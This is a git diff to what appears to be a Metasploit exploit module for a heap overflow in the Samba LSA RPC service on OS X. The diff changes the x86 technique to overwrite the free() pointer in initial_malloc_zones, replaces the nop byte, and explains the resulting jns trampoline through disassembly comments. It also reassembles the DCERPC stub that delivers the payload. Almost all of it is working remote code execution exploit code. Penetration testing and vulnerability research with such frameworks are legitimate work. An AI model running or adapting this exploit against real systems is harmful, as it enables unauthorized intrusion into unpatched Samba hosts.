diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index 0fe5e80594..5b8bf38667 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -26,7 +26,7 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote 'Description' => %q{ This module triggers a heap overflow in the LSA RPC service of the Samba daemon. This module uses the szone_free() to overwrite - the size() pointer in initial_malloc_zones structure. + the size() or free() pointer in initial_malloc_zones structure. }, 'Author' => [ @@ -56,7 +56,7 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote { 'Platform' => 'osx', 'Arch' => [ ARCH_X86 ], - 'Nops' => 64 * 1024, + 'Nops' => 4 * 1024, 'Bruteforce' => { 'Start' => { 'Ret' => 0x01813000 }, @@ -163,6 +163,14 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote # x86 if (target.arch.include?(ARCH_X86)) + # + # We don't use the size() pointer anymore because it + # results in a unexpected behavior when smbd process + # is started by lauchd. + # + free_pointer = 0x1800018 + nop = "\x16" + # # First talloc_chunk # 16 bits align @@ -174,55 +182,67 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote # # First nop block - buf = (('B' * 16) * num_entries) + buf = ((nop * 16) * num_entries) # - # A nop block of 0x42 (incl %edx) and the address of - # 0x1800004 results in a output that is also a valid - # nop-like instruction. + # A nop block of 0x16 (pushl %ss) and the address of + # 0x1800014 results in a jns instruction which when + # executed will jump over the address written eight + # bytes past our target address by szone_free() (the + # sign flag is zero at the moment our target address is + # executed). # - # 0x357b ^ ( 0x1800004 ^ 0x42424242 ) = 0x43c2773d + # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379 # # This is the output of the sequence of xor operations - # 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax + # 0: 79 23 jns 0x25 + # 2: 96 xchgl %eax,%esi + # 3: 17 popl %ss + # 4: 16 pushl %ss + # 5: 16 pushl %ss + # 6: 16 pushl %ss + # 7: 16 pushl %ss + # 8: 14 00 adcb $0x0,%al + # a: 80 01 16 addb $0x16,(%ecx) # - # The size() pointer is written eight bytes past our - # target address. - # 0: 04 00 addb $0x0,%al - # 2: 80 01 42 addb $0x42,(%ecx) + # This jump is needed because the ecx register does not + # point to a valid memory location in free() context + # (it is zero). # - # This is the code block that will be executed. It is - # completely valid because %ecx points to 0x1800000 - # (initial_malloc_zones) at the time of execution. - # 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax - # 5: 42 incl %edx - # 6: 42 incl %edx - # 7: 42 incl %edx - # 8: 04 00 addb $0x0,%al - # a: 80 01 42 addb $0x42,(%ecx) + # The jump will hit our nop block which will be executed + # until it reaches the payload. # # Padding nops - buf << 'B' * 2 + buf << nop * 2 # Jump over the pointers buf << "\xeb\x08" # Pointers buf << [target_addrs['Ret']].pack('V') - buf << [size_pointer - 4].pack('V') + buf << [free_pointer - 4].pack('V') # # We expect to hit this nop block or the one before # the pointers. # - buf << 'B' * (3852 - 8 - payload.encoded.length) + buf << nop * (3852 - 8 - payload.encoded.length) # Payload buf << payload.encoded - # These nops are truncated - nops = 'B' * (@nops.length) + # Padding nops + buf << nop * 1024 + + stub = lsa_open_policy(dcerpc) + + stub << NDR.long(0) # num_entries + stub << NDR.long(0) # ptr_sid_enum + stub << NDR.long(num_entries) # num_entries + stub << NDR.long(0x20004) # ptr_trans_names + stub << NDR.long(num_entries2) # num_entries2 + stub << buf # PPC else @@ -265,19 +285,19 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote # Padding buf << "A" * (256 - 10) + + stub = lsa_open_policy(dcerpc) + + stub << NDR.long(0) # num_entries + stub << NDR.long(0) # ptr_sid_enum + stub << NDR.long(num_entries) # num_entries + stub << NDR.long(0x20004) # ptr_trans_names + stub << NDR.long(num_entries2) # num_entries2 + stub << buf + stub << nops + stub << payload.encoded end - stub = lsa_open_policy(dcerpc) - - stub << NDR.long(0) # num_entries - stub << NDR.long(0) # ptr_sid_enum - stub << NDR.long(num_entries) # num_entries - stub << NDR.long(0x20004) # ptr_trans_names - stub << NDR.long(num_entries2) # num_entries2 - stub << buf - stub << nops - stub << payload.encoded - print_status("Calling the vulnerable function...") begin